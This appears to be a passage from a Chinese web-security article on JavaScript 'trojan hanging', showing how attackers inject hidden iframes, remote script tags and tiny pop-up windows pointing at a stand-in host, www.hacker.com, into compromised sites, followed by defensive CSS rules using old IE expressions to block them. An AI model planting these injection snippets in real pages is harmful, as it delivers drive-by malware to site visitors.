使用的關鍵代碼如下:
window.open("http://www.hacker.com/木馬.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
這種代碼往往很長,很容易被安全工程師發現,而且沒有經驗的黑客也喜歡將“width”和“height=”參數設為“0”,但是設置為0後,可能會出現惡意代碼不運行的情況。
另外壹種JS掛馬方式是,黑客先將掛馬腳本代碼“document.write('<Iframe src="網頁木馬地址" ></iframe>')”,寫入Windows中的寫字板另存為後綴為.js的腳本文件,並上傳到自己指定的網址。這時黑客只需要在受害者的網站中寫入:
<script src="http://www.hacker.com/木馬腳本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src="網頁木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")
就成功地將木馬掛到了對方的網頁中了。
小提示:黑客還可以根據情況隨機變換插入的JS掛馬方法,例如黑客有可能會將腳本寫為:
<div style="behaviour: url(http://www.hacker.com/木馬腳本.js);">
或者:
<iframe src="vbscript:[掛馬腳本]">
等等……
防第壹種JS掛馬方式,不方便,用得非常少,而第二種JS掛馬方式才是當前主流的,所以我們主要針對它進行防禦。方法就是阻止Src請求的異地外域的JS腳本,代碼如下:
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}
不過這種方法的缺點就是網站的訪問者將不能看到被掛了JS木馬的相關網頁。
所以我們為安全工程師提供了壹段可以中止JS腳本運行的CSS代碼,這段代碼會讓異地外域的JS文件在使用document.write()時,被document.close()強制關閉。這個時侯JS掛馬的內容往往還沒有來得及寫完,只有部分被強制輸出了,Writer後面的內容再不會被寫入訪問者的電腦中,從而起到防範JS腳本掛馬的作用。
讓JS木馬的進程迅速中止
在 <head> </head> 之間加入如下代碼:
屏蔽script和iframe
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>
單屏蔽script
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
/*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>